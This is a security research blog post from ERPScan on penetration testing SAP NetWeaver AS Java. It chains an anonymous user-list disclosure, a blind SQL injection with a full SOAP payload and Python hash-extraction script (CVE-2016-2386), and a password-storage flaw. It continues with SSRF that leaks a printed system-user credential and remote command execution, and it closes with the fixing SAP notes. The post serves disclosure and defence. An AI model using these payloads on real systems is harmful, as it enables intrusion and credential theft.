Perfect SAP Penetration testing. Part 3: The Scope of Vulnerability Search

In the previous articles of Perfect SAP Penetration testing series, we reviewed a general approach to pentesting SAP Systems and finding vulnerabilities which makes possible obtaining administrator privileges in the SAP system.

If you are new to this series, please refer to the previous articles:

In this part we will demonstrate that sometimes traditional approach does not work. If SAP pentesters know a number of SAP vulnerabilities and downloaded free tools from the Internet, they won’t be able to hack a system because some companies have applied the latest patches and they don’t have at least the most common issues (e.g. Gateway bypass, Verb Tampering, or default passwords).

During one of the assessments, we understood that all existing exploits didn’t work, all default passwords were changed, and it seems impossible to break into those SAP systems.

This article will show what we did to break the walls. We will consider the following points which can help to perform a perfect SAP pentest:

  1. SAP servlets and applications that should be considered as a matter of priority to find 0-day vulnerabilities;
  2. the rights for applications existing in the SAP system;
  3. the features of blind SQL injection in the SAP system;
  4. the options of privilege elevation;
  5. how to execute arbitrary code from the application access level and gain full access to OS.

If there are no public vulnerabilities let’s look for 0-days.

To search for vulnerabilities in SAP systems, it’s necessary, first of all, to consider what kinds of apps exist in the SAP system. There are a few types of web applications that are installed and run together with the system:

  • servlet;
  • webdynpro;
  • portal apps;
  • service;
  • extensions, core lib’s, interfaces, but they will not be considered.

Servlets, apps, webdynpro, and portal applications in SAP are installed in the folder C:\usr\sap\%SID%\J00\j2ee\cluster\apps and service applications – C:\usr\sap\%SID%\J00\j2ee\cluster\bin\services
where %SID% is the SID of the SAP system.

In our example a SID will be – DM0.

Each application has privileges that are predefined by developers. Only you are able to use the application with these privileges. By default, SAP NetWeaver AS Java has 4 types of rights:

  1. no safety – applications available to all and do not require authorization;
  2. low safety – applications which are available for users who have passed authentication;
  3. medium safety – applications which are available for content admin user or admin system;
  4. high safety – a medium application is available to content admin user or admin system.

All access rights to the applications are described in webdynpro.xml, web.xml configuration files, and for portal apps, it is portalapp.xml.

As it has been already mentioned, we are interested primarily in applications that do not require authentication. To find them, we need to get the list of applications using a simple files search.

A lot of applications which satisfies the search condition are found in a few minutes, and one of them is the component tc~rtc~coll.appl.rtc~wd_chat.

Its configuration file is located at the following address:

C:\usr\sap\%SID%\J00\j2ee\cluster\apps\sap.com\tc~rtc~coll.appl.rtc~wd_chat\servlet_jsp\webdynpro\resources\sap.com\tc~rtc~coll.appl.rtc~wd_chat\root\WEB-INF\webdynpro.xml

and the following code:

Config file code

As seen from the description, this component has 2 applications that can be called from a browser: Chat and Messages. Accordingly, applications will be available at the addresses:
1) http:/SAP_IP:SAP_PORT/webdynpro/resources/sap.com/tc~rtc~coll.appl.rtc~wd_chat/Chat#
2) http:/SAP_IP:SAP_PORT/webdynpro/resources/sap.com/tc~rtc~coll.appl.rtc~wd_chat/ Messages#

SAP Information disclosure

Let’s open the Chat app and view its functionality.

Chat app functionality

After following the address, an anonymous servlet is opened with the functionality of writing messages.

If we click the “Add participant” button, we will open a window where the functionality can add users to the Chat functionality for writing messages.

Adding participant to the Chat

If we select a user, it will be clear that we can get a list of all users and, consequently, their logins.

Getting the list of users and their logins

Therefore, we have found an anonymous service and received the login of an administrator named John. Then all we need is to know the account password.

SAP SQL injection

Proceeding with our search for vulnerabilities in anonymous servlets, we come across one functional component tc~uddi. There are three services in it.

Services in the tc~uddi component

The most interesting among them is C:\usr\sap\DM0\J00\j2ee\cluster\apps\sap.com\tc~uddi\servlet_jsp\UDDISecurityService.

If we open the configuration file at
C:\usr\sap\DM0\J00\j2ee\cluster\apps\sap.com\tc~uddi\servlet_jsp\UDDISecurityService\root\WEB-INF\web.xml, we will see the content depicted in the picture below.

The content of UDDISecurityService

The “servlet-class” field indicates that this servlet uses the SOAP methods to transfer and receive data, and this servlet is called UDDISecurityImplBean.

After the address http://nw74:50000/UDDISecurityService/UDDISecurityImplBean is opened in the browser, the following message is displayed:

Error Report message

UDDISecurityImplBean servlet does not accept GET requests, and it is sufficient to add “?wsdl” key to the URL in order to understand which POST requests to send. Here we got wsdl description of the UDDI Security Service.

wsdl description

To convert a wsdl file into soap requests, we can use burp with the wsdler extension.

Operating wsdler extension

When we send a SOAP request to the SAP server and then call the deletePermissionById function with the permissionId parameter, we can see that the server sends a request and then responds with the 200 code.

Server requests and response

It means that the server has processed the request successfully. Nevertheless, in order to understand what logic is built into the program, we need to find the source code on the server.

The root directory of the component C:\usr\sap\DM0\J00\j2ee\cluster\apps\sap.com\tc~uddi
looks like this:

Root directory of the component

The EJBContainer folder often stores JAR files that are used in the context of the component. This time, the server has a JAR file with the following path C:\usr\sap\DM0\J00\j2ee\cluster\apps\sap.com\tc~uddi\EJBContainer\applicationjars\tc~esi~uddi~server~ejb~ejbm.jar.

To get the source code for Java programs, just use JD-GUI Decompiler. Once this jar file is opened, the classes that are implemented in this program are displayed:

The classes implemented into the program

It is quite evident there are the UDDISecurityBean, AppluPermission and DeletePermissionById classes in the program. Let us analyze the UDDISecurityBean class:

The UDDOSecurityBean class

Here it says that the implementation of the deletePermissionById and applyPermission functions is described in the PermissionsDao class. OK, let’s look at it.

The PermissionsDao class

WOW. It is a typical SQL injection that does not require authentication for its exploitation. Let’s send our favorite quote mark in the SOAP request and see what we will get in response.

SOAP request and response to it

So there is no error occurred in response, and now let’s see what is in the logs database and what is the last entry.

By default, all logs of the SAP program are stored in
C:\usr\sap\DM0\J00\j2ee\cluster\server0\log, and a log file of the database is in C:\usr\sap\DM0\J00\j2ee\cluster\server0\log\system\database_00.0.log.
Database log

Everything is confirmed, now we have SQL injection in SAP NetWeaver AS Java. Thus, to compromise the SAP system, it is necessary to obtain an administrator password hash or even a password hash of any other user from the database. Now we take a next step. Even if we have a password hash, how can we decrypt it?

Crypto issue

In order to obtain the password using SQL injection, first, we need to know which table stores passwords. To connect to the database data, we can apply the standard isql utility as my database is Sybase ASE.

For connecting to the database in the console mode, we open a command line window and run the following commands:

Connecting to the database

We have SAP server with DM0 SID, and we’ll use the database DM0

DM0 database

According to the SAP documentation, SAP AS Java user passwords are stored in the User Management Engine (UME) in the UME_STRINGS table. There are 2 main fields in the UME_STRINGS table: PID and VAL. The PID field keeps the Administrator ID, and VAL has the password in an encrypted with SHA as a prefix.

It turns out that the request is as follows:
SELECT PID, VAL FROM SAPSR3DB.UME_STRINGS WHERE PID LIKE ‘%Administrator%’ and VAL LIKE ‘%SHA%’

Here is the result of the program oparation:

The result of the program operation

PID is UACC.PRIVATE_DATASOURCE.un:Administrator
VAL is {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYamodVV2ycvIqBU80lPPUD8twAOhZ/AUSezf4Reou4uFpqth9lDpefHZ1JOuzfILlHYQv4LhheyzoQMAng5pOkvHz5bZXJ+tiSGpsyrju3UtBkmRQ==

It is easy to guess that here the SHA-512 hash is used which is calculated 10,000 times. One may say it hinder those who tries to bruteforce this hash, but not in this case.

This is what we got by decoding base64.

Decoding base64

It turns out that SAP made a mistake and the password is stored insecurely in base64. But how could it fail to notice this error in such a critical place?

After a couple hours of researching, I finally found the function responsible for the encryption and password storage. This JAR file encrypts and checks the password validity:
C:\usr\sap\DM0\J00\j2ee\cluster\bin\ext\com.sap.security.core.sda\lib\private\sap.com~tc~sec~ume~core~impl.jar

To find the necessary class in this file, it is enough to look for magic data, “SHA-512”, in JD-GUI.

SHA-512 in JD-GUI

Done. PasswordHash.class is found.

In the class, there is exactly what we need.

The PasswordHash class is found

The main function of the class may come in handy to understand how the hash function works.

The Hash function in opearation

First, it is the initialization of the PasswordHash class.

The initialization of the PasswordHash class

Afterwards, the function .getHash(); is called.

Calling the getHash(); function

The lines from 87 to 113 show the variables are currently being checked and initializing, and the line 114 indicates a call of the createHashWithIterations function which takes a data set of 24 characters length. To demonstrate this feature, we’ll write a wrapper for it in the debugger and see what data is sent.

Below is the full code of the class that is responsible for hashing the password in SAP. Let’s run it and see how it works.

The code of the class in operation

We chose an asdQWE123 combination as a password.

It is worth noticing that the initialization of 2 special parameters carries out in a createHashWithIteractions function. They are “output” and “pass_n_salt” which are transferred to the final hash function, hashWithIteractions.

output and pass_n_salt in operation

More details on the hashWithIteractions function are provided below.

The hashWithIteractions function

All the work the key has performed related to hashing is presented in the lines from 40 to 45. The block diagram illustrates the work of these lines.

40-45 lines operation

From the flow chart, it’s clear that the developers made a mistake and used the hash function incorrectly. They used salt instead of password and when hashing was being performed in 9999 cycle, salt (password) was added to the beginning of an “output” variable. The cycle completed its work, and the password remained in clear text.

QED. There is also a vulnerability to analyze.

Now we’ll go back to SQL injection and automate the process of obtaining the password from the database.

SAP Pentesting – Exploitation

For the SQL injection exploitation, we can use our new-gained knowledge of the following facts:

  • The SQL injection is blind.
  • SQL does not support a call of some functions like SLEEP, only SELECT.
  • The hash is stored in UME_STRINGS in the VAL field, and the PID field stores a value.
    PRIVATE_DATASOURCE.un:Administrator, where Administrator is the user login, it can be different, for example, j2ee_admin, admin.

Let’s solve all these issues step by step.

As SQL injection is blind, we need to find the VAL value. It turns out that the main query has the following form:

select VAL from UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%SHA-512%'

Since the connector does not support the SLEEP function or others for turning the blind SQL injection into time-based one, I found a table, which always stores big data.

With a valid VAL value SQL database was required to issue a request with some delay, and I decided to use the multiplication of tables to create a weak one-second load on the server. This table is called J2EE_CONFIGENTRY and the transformed query is as follows:

select COUNT(*) from SAPSR3DB.J2EE_CONFIGENTRY,SAPSR3DB.UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%SHA-512%'

Below are the 2 queries. I made an intentional mistake in the first one and the query took 15 milliseconds, whereas the second query took 321 milliseconds.


As you can see, it is possible to automate this query for retrieving hashed data from the database.

SAP Pentesting – Automation

For the automation, we have the following basic query:

POST /UDDISecurityService/UDDISecurityImplBean HTTP/1.1
 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
 SOAPAction:
 Content-Type: text/xml;charset=UTF-8
 Host: nw74:50000
 Content-Length: 500
 
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sec="http://sap.com/esi/uddi/ejb/security/">
   <soapenv:Header/>
   <soapenv:Body>
     <sec:deletePermissionById>
       <permissionId>1' AND 1=(select COUNT(*) from SAPSR3DB.J2EE_CONFIGENTRY,SAPSR3DB.UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%SHA-512%') AND '1'='1</permissionId>
     </sec:deletePermissionById>
   </soapenv:Body>
 </soapenv:Envelope>

The hash may consist of the following characters:
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz

As long as the password hash is the salt and it has a length of 24 characters, we need only to get the first 24*3 characters of the hash in a base64 format.

See the full Python code for extracting the hash on the next page.

import string, requests, argparse

_magic = "{SHA-512, 10000, 24}"
_wrong_magic = "{SHA-511, 10000, 24}"
_xml = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:sec=\"http://sap.com/esi/uddi/ejb/security/\">\r\n  <soapenv:Header/>\r\n  <soapenv:Body>\r\n    <sec:deletePermissionById>\r\n      <permissionId>1' AND 1=(select COUNT(*) from SAPSR3DB.J2EE_CONFIGENTRY,SAPSR3DB.UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%{0}%') AND '1'='1</permissionId>\r\n    </sec:deletePermissionById>\r\n  </soapenv:Body>\r\n</soapenv:Envelope>"
host = ""
port = 0
_dictionary =  string.digits + string.uppercase + string.lowercase

def _get_timeout(_data):
    return requests.post("http://{0}:{1}/UDDISecurityService/UDDISecurityImplBean".format(host,port),
              headers={
                  "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0",
                  "SOAPAction": "",
                  "Content-Type": "text/xml;charset=UTF-8"
                    },
              data=_xml.format(_data)).elapsed.total_seconds()


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('--host')
    parser.add_argument('--port')
    parser.add_argument('-v')

    args = parser.parse_args()
    args_dict = vars(args)

    host = args_dict['host']
    port = args_dict['port']

    print "start to retrieve data from the table UMS_STRINGS from {0} server using CVE-2016-2386 exploit ".format(host)
    hash = _magic
    print "this may take a few minutes"
    for i in range(24):
        for _char in _dictionary:
            if  not (args_dict['v'] is None):
                print "checking {0}".format(hash +_char)
            if _get_timeout(hash +_char)>1.300:
                hash += _char
                print "Found " + hash
                break

As a result, we get the following value:

Obtained value

If we perform a base64 decode, we will get the password in plain text.

Password in plain text

Privilege escalation, remote command execution

Using the received password and the administrator’s username we can log in and access /irj/portal.

Logging in and accessing /irj/portal

However, that is not all. Let’s try to elevate privileges and gain access to the operating system. In SAP, it is possible to view the system logs that are available by the following address:

http://nw74:50000/webdynpro/dispatcher/sap.com/tc~lm~itsam~ui~lv~client_ui/LVApp?conn=view[Last%2024%20Hours%20(Java)]#

LogViewer has the functionality of connecting to a remote host, it can be used for SSRF attack.

Connect to Remote System

In the opened window, we hit “connect to host” and write a server address where we will listen to port 50013.

Connecting to host

The server shows that SAP wants to connect to us by sending the following query:

SAP sending connect query

You can see that SAP used Basic authorization trying to connect to evil host using some internal data.

ezIyMUJBNDRGLUY4OEUtNDE2Ni1CQjJCLUUyNTQxOTEwQjg2QX06eENJUEhNSUNITUlDQURMQk1KT0pER0dKRk9MRkdCRU5PeA==

In 2016, we did a research that describes this system user and reveals how it helps to obtain anonymous RCE using a race condition.

{221BA44F-F88E-4166-BB2B-E2541910B86A}:xCIPHMICHMICADLBMJOJDGGJFOLFGBENOx

The login of this user was hardcoded but the password is generated randomly. This user can execute system commands using SOAP query with the OSexecute function call. The request is as follows:

The request

Therefore, we can execute code on the target system.

Executing code on the target system

Conclusion

If you carefully read this article and reached this point, it seems you enjoyed our research. Please share this pleasure with others on social networks. We appreciate it.

To prevent the vulnerability exploitation, you have to install the following security notes released by SAP:

  • 2256846, a fix for the information disclosure by using the Chat;
  • 2101079, fix for anonymous SQL injection;
  • 2191290, a fix for crypto issues; it should be noted that after you install this update, you have to change the passwords that were stored in the database in clear text;
  • 2240946, a fix for the password of the system user, which is able to execute commands on the server.

This is not an end! Further, we will examine the patches released by SAP and check whether a vulnerability was successfully fixed after installing the above-mentioned patches. So keep in touch and subscribe to our newsletter, follow us on Twitter, Facebook, and LinkedIn and find more examples of research from ERPScan Research team.

The post Perfect SAP Penetration testing. Part 3: The Scope of Vulnerability Search appeared first on ERPScan.



*** This is a Security Bloggers Network syndicated blog from Blog – ERPScan authored by Research Team. Read the original post at: https://erpscan.com/press-center/blog/perfect-sap-penetration-testing-part-3-scope-vulnerability-search/